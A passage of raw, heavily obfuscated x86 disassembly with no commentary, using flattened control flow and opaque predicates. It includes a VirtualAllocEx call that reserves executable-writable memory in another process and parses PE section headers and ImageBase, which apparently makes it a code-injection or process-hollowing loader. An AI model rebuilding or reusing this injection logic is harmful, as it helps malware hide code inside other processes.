and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8c8a85f7
mov ecx, 0x65bbeba6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xa754660
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xbfa669b0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x1e4], eax
jmp 0x486e58
mov eax, dword [ebp - 0x134]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x138]
mov eax, 0x70cb83ba
mov ecx, 0xa4dfdb64
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x1b8]
add eax, 0x18
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x1e0], 0xa54e489c
jmp 0x486e58
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1e0], 0x70cb83ba
jmp 0x486e58
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor edi, edi
sub edi, 0xb7821ae2
add edi, 0xaa1e100f
add edi, 0xb7821ae2
add edi, 0x89e6a4e7
sub edi, 1
sub edi, 0x89e6a4e7
sub edi, 0x10570799
sub edi, 0xaa1e100f
add edi, 0x10570799
xor esi, esi
sub esi, 0x3d97d531
sub esi, ecx
add esi, 0x3d97d531
xor edx, edx
sub edx, edi
add edx, 0
add esi, 0x69c9d94f
add esi, edx
sub esi, 0x69c9d94f
xor edx, edx
sub edx, 0x7f04e7de
sub edx, esi
add edx, 0x7f04e7de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ah, cl
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ah
or al, dl
xor bh, al
mov al, bl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov ch, bl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
mov byte [ebp - 0x366], dl
mov dl, bh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
and bh, ah
mov byte [ebp - 0x368], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x367], al
mov al, byte [ebp - 0x368]
or dh, al
mov al, byte [ebp - 0x367]
or bh, al
mov al, byte [ebp - 0x366]
xor dh, bh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov dl, al
and dl, 1
xor al, 1
or dl, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
xor ch, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
xor dl, 0xff
mov al, bl
xor al, dl
and al, bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5bc56806
mov ecx, 0x7f01101b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x120]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0x124]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x119], al
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x76c86932
mov edx, eax
add edx, esi
add edx, 0x81d1b8be
sub edx, 0xd0515d1b
sub edx, 0x81d1b8be
xor esi, esi
sub esi, 0x76c86932
sub edx, esi
xor esi, esi
sub esi, 0x5c5ff4c2
sub esi, 1
add esi, 0x5c5ff4c2
add edx, 0xa54e4c21
add edx, esi
sub edx, 0xa54e4c21
xor esi, esi
sub esi, 0xb78bcbc1
add edx, esi
xor esi, esi
sub esi, 0xd0515d1b
sub edx, esi
xor esi, esi
sub esi, 0xb78bcbc1
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ch
or al, dl
xor bh, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
mov byte [ebp - 0x429], dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, dl
and ch, 0xff
and bh, dh
mov byte [ebp - 0x42b], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x42a], al
mov al, byte [ebp - 0x42b]
or ch, al
mov al, byte [ebp - 0x42a]
or bh, al
mov al, byte [ebp - 0x429]
xor ch, bh
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ch, dl
mov dl, al
and dl, 1
xor al, 1
or dl, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, dh
or al, dl
xor bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov dh, dl
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov ah, cl
and ah, bh
or dh, ah
mov bh, 1
xor bh, 0
mov ah, dh
xor ah, bh
and ah, dh
mov byte [ebp - 0x426], ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and bl, ah
mov byte [ebp - 0x428], bl
mov bl, dh
and bl, 0xff
and al, ah
mov byte [ebp - 0x427], al
mov al, byte [ebp - 0x428]
or cl, al
mov al, byte [ebp - 0x427]
or bl, al
mov al, byte [ebp - 0x426]
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x425], cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x425]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov dh, ch
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x41e], al
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov cl, ah
and cl, dh
or dl, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov dh, 1
xor dh, 0
mov ch, dl
xor ch, dh
and ch, dl
mov byte [ebp - 0x421], ch
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x422], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x424], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x423], al
mov al, byte [ebp - 0x424]
and cl, dh
or ch, al
mov al, byte [ebp - 0x423]
or al, cl
mov cl, byte [ebp - 0x422]
xor ch, al
mov al, byte [ebp - 0x421]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x41d], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and al, dh
mov byte [ebp - 0x420], al
mov al, bl
and al, 0
mov byte [ebp - 0x41f], al
mov al, byte [ebp - 0x420]
and cl, dh
or ah, al
mov al, byte [ebp - 0x41f]
or al, cl
mov cl, byte [ebp - 0x41e]
xor ah, al
mov al, byte [ebp - 0x41d]
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ah, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, ah
xor al, 0xff
and al, 0
and ah, dh
or bl, ch
or al, ah
xor bl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x41c], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 0
mov ch, ah
and ch, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x41c]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7cd696f1
mov ecx, 0xd32f95cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1c4]
imul edx, dword [ebp - 0x1c8], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
xor edx, edx
sub edx, 0xad9a5cde
add eax, edx
add eax, 0x6d7d269a
sub eax, 0xf917ac75
sub eax, 0x6d7d269a
xor edx, edx
sub edx, 0xad9a5cde
sub eax, edx
xor edx, edx
sub edx, ecx
add edx, 0
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, 0x8c89237
add ecx, 0
sub ecx, eax
sub ecx, 0x8c89237
xor edx, edx
sub edx, 0xca461e45
sub edx, 0xf917ac75
add edx, 0xca461e45
xor eax, eax
sub eax, edx
sub ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x1c4]
imul ecx, dword [ebp - 0x1c8], 0x28
add eax, ecx
mov dword [ebp - 0x110], eax
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor edx, edx
sub edx, 0xc6dffc72
add edx, 0x52840c03
add edx, 0xc6dffc72
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x7c5f3d81
sub edx, 0x52840c03
add edx, 0x7c5f3d81
mov esi, 0x779e2daf
add esi, 0
sub esi, edx
sub esi, 0x779e2daf
mov edx, ecx
sub edx, 0xe36d9bcd
sub edx, esi
add edx, 0xe36d9bcd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bh
mov ah, cl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, bh
and al, dl
or ch, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bl
or dl, dh
xor al, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0x438], dl
mov ah, 1
xor ah, 1
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
mov bl, ch
and bl, 1
mov byte [ebp - 0x43a], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x439], al
mov al, byte [ebp - 0x43a]
or dl, al
mov al, byte [ebp - 0x439]
or bl, al
mov al, byte [ebp - 0x438]
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and al, ah
or bl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov dh, 1
xor dh, 0
xor dl, 0xff
mov al, 1
xor al, 0
or dh, dl
or al, 0
xor dh, 0xff
and dh, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov ah, bh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, bh
and cl, ch
or ah, cl
mov ch, 1
xor ch, 0
mov cl, ah
xor cl, ch
and cl, ah
mov byte [ebp - 0x435], cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, dh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and dh, ah
mov byte [ebp - 0x437], dh
mov dh, ch
and dh, 0xff
and al, ah
mov byte [ebp - 0x436], al
mov al, byte [ebp - 0x437]
or cl, al
mov al, byte [ebp - 0x436]
or dh, al
mov al, byte [ebp - 0x435]
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x434], cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and al, ah
mov dh, ch
and dh, 0
and bh, ah
or dl, al
mov al, byte [ebp - 0x434]
or dh, bh
xor dl, dh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
mov cl, dl
and cl, ah
xor dl, 0xff
and al, dl
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or al, dl
mov byte [ebp - 0x433], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or bh, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
mov ch, 1
xor ch, 1
mov ah, al
xor ah, ch
and ah, al
xor bl, 0xff
mov ch, dl
xor ch, 0xff
mov al, 1
xor al, 0
or bl, ch
or al, 0
xor bl, 0xff
and bl, al
mov ch, bh
xor ch, 0xff
mov dh, 1
xor dh, 1
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, dl
xor al, 0xff
mov dh, cl
xor dh, al
mov al, byte [ebp - 0x433]
and dh, cl
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and cl, ah
or bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x432], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x432]
or dh, bh
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe643a445
mov ecx, 0xf80a6865
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
xor edx, edx
sub edx, 1
add edx, 0
mov esi, 0x4fc8a98b
add esi, 0
add esi, edx
sub esi, 0x4fc8a98b
mov edx, eax
sub edx, 0x266f18a9
add edx, 0x77de1424
add edx, 0x266f18a9
sub edx, 0xe1400d8c
add edx, esi
add edx, 0xe1400d8c
sub edx, 0x4493366d
sub edx, 0x77de1424
add edx, 0x4493366d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov ch, cl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov dl, al
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
mov dh, al
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
mov bl, al
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
and ch, 1
or dh, ch
mov bl, dh
xor bl, 0xff
mov ch, al
xor ch, bl
and ch, al
mov al, cl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov bl, cl
and bl, bh
or al, bl
xor al, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 0
or al, bh
or bl, 0
xor al, 0xff
and al, bl
xor dh, 0xff
mov bh, cl
xor bh, dh
and bh, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0x43b], cl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x43b]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1043b10
mov ecx, 0x4b69fa55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1b8]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x105], al
mov dword [ebp - 0x1e0], 0xff0daa4d
jmp 0x486e58
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1b8]
mov ecx, dword [ecx + 0x34]
xor esi, esi
sub esi, 0x96158ea3
sub esi, 0xc1517ef0
add esi, 0x96158ea3
xor edx, edx
sub edx, esi
sub eax, edx
add eax, 0x8882935f
sub eax, 0xd9ea2509
sub eax, 0x8882935f
add eax, 0xf39b37f4
sub eax, ecx
sub eax, 0xf39b37f4
sub eax, 0xe6319f43
add eax, 0xd9ea2509
add eax, 0xe6319f43
xor ecx, ecx
sub ecx, eax
add ecx, 0
mov eax, 0x1f94c078
add eax, 0
sub eax, 0xc1517ef0
sub eax, 0x1f94c078
add ecx, 0xa3f668a1
add ecx, eax
sub ecx, 0xa3f668a1
mov eax, 0xcf60e402
add eax, 0
sub eax, ecx
sub eax, 0xcf60e402
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x6c]
xor esi, esi
sub esi, 0
xor edx, edx
sub edx, 0xc1d6378c
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x620f2b4d
sub edx, ecx
add edx, 0x620f2b4d
add edx, 0x8d3a6869
sub edx, 0xc1d6378c
sub edx, 0x8d3a6869
sub eax, 0x34209973
add eax, 0x3029f9db
add eax, 0x34209973
xor ecx, ecx
sub ecx, edx
add eax, ecx
add eax, 0xb9975711
sub eax, 0x3029f9db
sub eax, 0xb9975711
mov dword [ebp - 0x104], eax
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x99c781f2
mov edx, ecx
sub edx, esi
xor esi, esi
sub esi, 0x519991bd
add edx, esi
xor esi, esi
sub esi, 0x99c781f2
add edx, esi
add edx, 0x6b509ad
add edx, 0xb3fca2fa
sub edx, 0x6b509ad
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0xc64d989e
sub edx, 0xb3fca2fa
add edx, 0xc64d989e
xor esi, esi
sub esi, 0x163528f7
add edx, esi
add edx, 0x78a4562c
add edx, 0x519991bd
sub edx, 0x78a4562c
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x163528f7
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov ah, bl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or ah, al
mov cl, dl
xor cl, 0xff
mov al, ah
and al, cl
xor ah, 0xff
mov cl, dl
and cl, ah
or al, cl
mov cl, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dh
or al, cl
xor ah, al
mov al, bl
xor al, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1186f18
mov ecx, 0xad2f4401
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x389b31cd
jmp 0x486e58
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1d4], 0
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x13729298
mov edx, ecx
sub edx, esi
sub edx, 0x36b730dd
add edx, 0xb87c8cbb
add edx, 0x36b730dd
sub edx, 0x5cf9f2d3
sub edx, 0x13729298
add edx, 0x5cf9f2d3
xor esi, esi
sub esi, 1
add esi, 0
sub edx, 0x619eb851
add edx, esi
add edx, 0x619eb851
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x38063962
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xe4a7caca
sub edx, 0xb87c8cbb
sub edx, 0xe4a7caca
xor esi, esi
sub esi, 0x38063962
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, bl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or al, ch
or dl, ah
xor al, dl
mov dl, cl
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov dh, cl
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov al, bl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov byte [ebp - 0x4b7], cl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bl, ah
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor cl, 0xff
mov dh, 1
xor dh, 1
mov al, 1
xor al, 1
or cl, dh
or al, 1
xor cl, 0xff
and cl, al
mov dh, bh
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov byte [ebp - 0x4bd], al
mov ch, dl
xor ch, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov bl, bh
xor bl, 0xff
mov dh, ah
xor dh, bl
and dh, ah
mov ah, cl
xor ah, 0xff
xor al, 0xff
mov byte [ebp - 0x4b8], al
mov bl, 1
xor bl, 0
mov al, ah
and al, 0
mov byte [ebp - 0x4bc], al
mov al, byte [ebp - 0x4b8]
and cl, bl
and al, 0
mov byte [ebp - 0x4ba], al
mov al, byte [ebp - 0x4bd]
and al, bl
mov byte [ebp - 0x4bb], al
mov al, byte [ebp - 0x4bc]
or al, cl
mov cl, byte [ebp - 0x4bb]
mov byte [ebp - 0x4b9], al
mov al, byte [ebp - 0x4ba]
or al, cl
mov cl, byte [ebp - 0x4b9]
xor cl, al
mov al, byte [ebp - 0x4b8]
or ah, al
mov al, byte [ebp - 0x4b7]
xor ah, 0xff
or bl, 0
and ah, bl
or cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and cl, ah
or bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
